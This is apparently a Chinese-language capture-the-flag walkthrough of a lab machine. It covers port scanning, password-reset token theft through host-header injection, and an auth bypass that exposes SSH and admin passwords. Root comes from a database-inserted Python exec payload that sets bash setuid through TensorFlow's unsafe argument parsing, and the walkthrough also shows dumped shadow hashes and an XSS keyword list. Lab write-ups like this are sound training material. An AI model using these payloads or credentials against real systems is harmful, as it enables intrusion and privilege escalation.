基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
$ nmap -sC -sV -Pn 10.10.11.188
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-14 20:32 CST
Nmap scan report for 10.10.11.188
Host is up (0.20s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.8.10
|_http-title: Login
|_http-server-header: Werkzeug/2.1.2 Python/3.8.10
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date: Mon, 14 Nov 2022 12:33:15 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| X-Varnish: 294936
| Age: 0
| Via: 1.1 varnish (Varnish/6.2)
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date: Mon, 14 Nov 2022 12:32:13 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5698
| X-Varnish: 294932 32771
| Age: 55
| Via: 1.1 varnish (Varnish/6.2)
| Accept-Ranges: bytes
| Connection: close
| <!DOCTYPE html>
| <html lang="en" >
| <head>
| <meta charset="UTF-8">
| <title>Login</title>
| <style>
| @import url("https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap");
| margin: 0;
| padding: 0;
| box-sizing: border-box;
| font-family: "Poppins", sans-serif;
| :root {
| --dark-dimmed: #fff;
| --accent: #008080;
| --accent-dimmed: #008080;
| --light: #fff;
| body {
| display: flex;
| justify-content: center;
| align-items: center;
| min-height: 100vh;
| margin: 10px;
| background:
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date: Mon, 14 Nov 2022 12:33:09 GMT
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, GET, OPTIONS
| Content-Length: 0
| X-Varnish: 40
| Age: 0
| Via: 1.1 varnish (Varnish/6.2)
| Accept-Ranges: bytes
| Connection: close
| RTSPRequest:
|_ HTTP/1.1 400 Bad Request
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.93%I=7%D=11/14%Time=63723584%P=x86_64-apple-darwin21.5.0
SF:%r(GetRequest,1749,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\
SF:.2\x20Python/3\.8\.10\r\nDate:\x20Mon,\x2014\x20Nov\x202022\x2012:32:13
SF:\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Leng
SF:th:\x205698\r\nX-Varnish:\x20294932\x2032771\r\nAge:\x2055\r\nVia:\x201
SF:\.1\x20varnish\x20\(Varnish/6\.2\)\r\nAccept-Ranges:\x20bytes\r\nConnec
SF:tion:\x20close\r\n\r\n\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\"\x20>
SF:\n\n<head>\n\n\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\n\n\x20\x20
SF:<title>Login</title>\n\x20\x20\n\x20\x20\n\x20\x20\n\x20\x20\n<style>\n
SF:@import\x20url\(\"https://fonts\.googleapis\.com/css2\?family=Poppins:i
SF:tal,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,
SF:200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap\"\);\n\n\*\x
SF:20{\n\x20\x20margin:\x200;\n\x20\x20padding:\x200;\n\x20\x20box-sizing:
SF:\x20border-box;\n\x20\x20font-family:\x20\"Poppins\",\x20sans-serif;\n}
SF:\n\n:root\x20{\n\x20\x20--dark-dimmed:\x20#fff;\n\x20\x20--accent:\x20#
SF:008080;\n\x20\x20--accent-dimmed:\x20#008080;\n\x20\x20--light:\x20#fff
SF:;\n}\n\nbody\x20{\n\x20\x20display:\x20flex;\n\x20\x20justify-content:\
SF:x20center;\n\x20\x20align-items:\x20center;\n\x20\x20min-height:\x20100
SF:vh;\n\x20\x20margin:\x2010px;\n\x20\x20background:\x20")%r(HTTPOptions,
SF:114,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x20Python/3\
SF:.8\.10\r\nDate:\x20Mon,\x2014\x20Nov\x202022\x2012:33:09\x20GMT\r\nCont
SF:ent-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20HEAD,\x20GET,\x20
SF:OPTIONS\r\nContent-Length:\x200\r\nX-Varnish:\x2040\r\nAge:\x200\r\nVia
SF::\x201\.1\x20varnish\x20\(Varnish/6\.2\)\r\nAccept-Ranges:\x20bytes\r\n
SF:Connection:\x20close\r\n\r\n")%r(RTSPRequest,1C,"HTTP/1\.1\x20400\x20Ba
SF:d\x20Request\r\n\r\n")%r(FourOhFourRequest,1BF,"HTTP/1\.1\x20404\x20NOT
SF:\x20FOUND\r\nServer:\x20Werkzeug/2\.1\.2\x20Python/3\.8\.10\r\nDate:\x2
SF:0Mon,\x2014\x20Nov\x202022\x2012:33:15\x20GMT\r\nContent-Type:\x20text/
SF:html;\x20charset=utf-8\r\nContent-Length:\x20207\r\nX-Varnish:\x2029493
SF:6\r\nAge:\x200\r\nVia:\x201\.1\x20varnish\x20\(Varnish/6\.2\)\r\nConnec
SF:tion:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title>404
SF:\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>\n<p>The\x20requested\x2
SF:0URL\x20was\x20not\x20found\x20on\x20the\x20server\.\x20If\x20you\x20en
SF:tered\x20the\x20URL\x20manually\x20please\x20check\x20your\x20spelling\
SF:x20and\x20try\x20again\.</p>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 196.99 seconds

80

登录界面,存在忘记密码功能:

forgot password

需要一个有效用户名,首页源码注释里可以得到用户名:

host header 注入

使用有效用户名重置密码响应已发送重置链接,修改host header可以得到对应reset token:

Support Portal

token有效期很短,并且要注意url编码,重置密码成功后登录进portal:

tickets

tickets功能在前端被禁用,启用后访问提示ACCESS_DENIED,查看请求发现是http basic认证,使用的是我们的robert-dev-367120用户名和密码,尝试修改用户名为admin,成功,得到diego的ssh密码:

(论坛说这一步可能是非预期

预期的方法是在重置罗伯特的密码后简单地提交票证。链接字段中有一个“http”过滤器,但是您可以使用 HTTP 绕过它。设置一个 netcat 监听器,几分钟后机器人点击链接,您可以在 Authentication 标头中看到 base64,您可以对其进行解码并获取管理员密码。)

1
diego:dCb#1!x0%gjq

User flag

diego用户登录,得到user flag:

提权信息

bot.py中得到数据库账号密码, 以及admin原本的密码:

1
2
3
4
5
6
conn = mysql.connector.connect(host="localhost",database="app",user="diego",password="dCb#1!x0%gjq")

requests.get(i[2],headers={'Authorization':'Basic YWRtaW46ZEN2YmdGaDM0NV8zNjgzNTJjQCE='})

# base64 decode
admin:dCvbgFh345_368352c@!

sudo -l发现ml_security.py,看起来是从数据库获取数据后进行一些处理:

tensorflow preprocess_input_exprs_arg_string

代码中使用了tensorflow的preprocess_input_exprs_arg_string,并且指定了safe=false这个可以搜到相关漏洞:

1
preprocess_input_exprs_arg_string(data[i],safe=False)  # ln: 141

根据代码逻辑,是从escalate表中获取reason,然后检查xss 恶意模式,满足条件后执行preprocess_input_exprs_arg_string

因此,我们可以用恶意内容覆盖数据库reason并运行脚本来执行我们的命令

ml_security.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/bin/python3
import sys
import csv
import pickle
import mysql.connector
import requests
import threading
import numpy as np
import pandas as pd
import urllib.parse as parse
from urllib.parse import unquote
from sklearn import model_selection
from nltk.tokenize import word_tokenize
from sklearn.linear_model import LogisticRegression
from gensim.models.doc2vec import Doc2Vec, TaggedDocument
from tensorflow.python.tools.saved_model_cli import preprocess_input_exprs_arg_string

np.random.seed(42)

f1 = '/opt/security/lib/DecisionTreeClassifier.sav'
f2 = '/opt/security/lib/SVC.sav'
f3 = '/opt/security/lib/GaussianNB.sav'
f4 = '/opt/security/lib/KNeighborsClassifier.sav'
f5 = '/opt/security/lib/RandomForestClassifier.sav'
f6 = '/opt/security/lib/MLPClassifier.sav'

# load the models from disk
loaded_model1 = pickle.load(open(f1, 'rb'))
loaded_model2 = pickle.load(open(f2, 'rb'))
loaded_model3 = pickle.load(open(f3, 'rb'))
loaded_model4 = pickle.load(open(f4, 'rb'))
loaded_model5 = pickle.load(open(f5, 'rb'))
loaded_model6 = pickle.load(open(f6, 'rb'))
model= Doc2Vec.load("/opt/security/lib/d2v.model")

# Create a function to convert an array of strings to a set of features
def getVec(text):
features = []
for i, line in enumerate(text):
test_data = word_tokenize(line.lower())
v1 = model.infer_vector(test_data)
featureVec = v1
lineDecode = unquote(line)
lowerStr = str(lineDecode).lower()
feature1 = int(lowerStr.count('link'))
feature1 += int(lowerStr.count('object'))
feature1 += int(lowerStr.count('form'))
feature1 += int(lowerStr.count('embed'))
feature1 += int(lowerStr.count('ilayer'))
feature1 += int(lowerStr.count('layer'))
feature1 += int(lowerStr.count('style'))
feature1 += int(lowerStr.count('applet'))
feature1 += int(lowerStr.count('meta'))
feature1 += int(lowerStr.count('img'))
feature1 += int(lowerStr.count('iframe'))
feature1 += int(lowerStr.count('marquee'))
# add feature for malicious method count
feature2 = int(lowerStr.count('exec'))
feature2 += int(lowerStr.count('fromcharcode'))
feature2 += int(lowerStr.count('eval'))
feature2 += int(lowerStr.count('alert'))
feature2 += int(lowerStr.count('getelementsbytagname'))
feature2 += int(lowerStr.count('write'))
feature2 += int(lowerStr.count('unescape'))
feature2 += int(lowerStr.count('escape'))
feature2 += int(lowerStr.count('prompt'))
feature2 += int(lowerStr.count('onload'))
feature2 += int(lowerStr.count('onclick'))
feature2 += int(lowerStr.count('onerror'))
feature2 += int(lowerStr.count('onpage'))
feature2 += int(lowerStr.count('confirm'))
# add feature for ".js" count
feature3 = int(lowerStr.count('.js'))
# add feature for "javascript" count
feature4 = int(lowerStr.count('javascript'))
# add feature for length of the string
feature5 = int(len(lowerStr))
# add feature for "<script" count
feature6 = int(lowerStr.count('script'))
feature6 += int(lowerStr.count('<script'))
feature6 += int(lowerStr.count('&lt;script'))
feature6 += int(lowerStr.count('%3cscript'))
feature6 += int(lowerStr.count('%3c%73%63%72%69%70%74'))
# add feature for special character count
feature7 = int(lowerStr.count('&'))
feature7 += int(lowerStr.count('<'))
feature7 += int(lowerStr.count('>'))
feature7 += int(lowerStr.count('"'))
feature7 += int(lowerStr.count('\''))
feature7 += int(lowerStr.count('/'))
feature7 += int(lowerStr.count('%'))
feature7 += int(lowerStr.count('*'))
feature7 += int(lowerStr.count(';'))
feature7 += int(lowerStr.count('+'))
feature7 += int(lowerStr.count('='))
feature7 += int(lowerStr.count('%3C'))
# add feature for http count
feature8 = int(lowerStr.count('http'))

# append the features
featureVec = np.append(featureVec,feature1)
featureVec = np.append(featureVec,feature2)
featureVec = np.append(featureVec,feature3)
featureVec = np.append(featureVec,feature4)
featureVec = np.append(featureVec,feature5)
featureVec = np.append(featureVec,feature6)
featureVec = np.append(featureVec,feature7)
featureVec = np.append(featureVec,feature8)
features.append(featureVec)
return features


# Grab links
conn = mysql.connector.connect(host='localhost',database='app',user='diego',password='dCb#1!x0%gjq')
cursor = conn.cursor()
cursor.execute('select reason from escalate')
r = [i[0] for i in cursor.fetchall()]
data=[]
for i in r:
data.append(i)
Xnew = getVec(data)

#1 DecisionTreeClassifier
ynew1 = loaded_model1.predict(Xnew)
#2 SVC
ynew2 = loaded_model2.predict(Xnew)
#3 GaussianNB
ynew3 = loaded_model3.predict(Xnew)
#4 KNeighborsClassifier
ynew4 = loaded_model4.predict(Xnew)
#5 RandomForestClassifier
ynew5 = loaded_model5.predict(Xnew)
#6 MLPClassifier
ynew6 = loaded_model6.predict(Xnew)

# show the sample inputs and predicted outputs
def assessData(i):
score = ((.175*ynew1[i])+(.15*ynew2[i])+(.05*ynew3[i])+(.075*ynew4[i])+(.25*ynew5[i])+(.3*ynew6[i]))
if score >= .5:
try:
preprocess_input_exprs_arg_string(data[i],safe=False)
except:
pass

for i in range(len(Xnew)):
t = threading.Thread(target=assessData, args=(i,))
# t.daemon = True
t.start()

提权 & root flag

使用前面得到的数据库账号密码在数据库中插入恶意数据,然后运行对应脚本触发命令执行:

1
2
3
4
mysql -D app -udiego -p
# dCb#1!x0%gjq

insert into escalate values ("1","1","1",'test=exec("""\nimport os\nos.system("chmod +s /usr/bin/bash")""")');

shadow

1
2
root:$6$KPqhZTXCQFI1KCL7$IK7wbX2aLhUUXi4HFfJLUNhXaGRjkvDVE0Pjv0bazG/KwmHjoyrDtO3ZEPReTQ.VvCRrq.71XKuOLCHsrGebL.:19189:0:99999:7:::
diego:$6$qqWep8woW8VNQ3oI$Ijm5f8n9C09jPdg5pAttI7l2CGsP7doqd/gw5E9.H8QVfdoDbtPsEwYl2qGIEcNil.nyagcPyKjDRFidpSrpC.:19171:0:99999:7:::

参考资料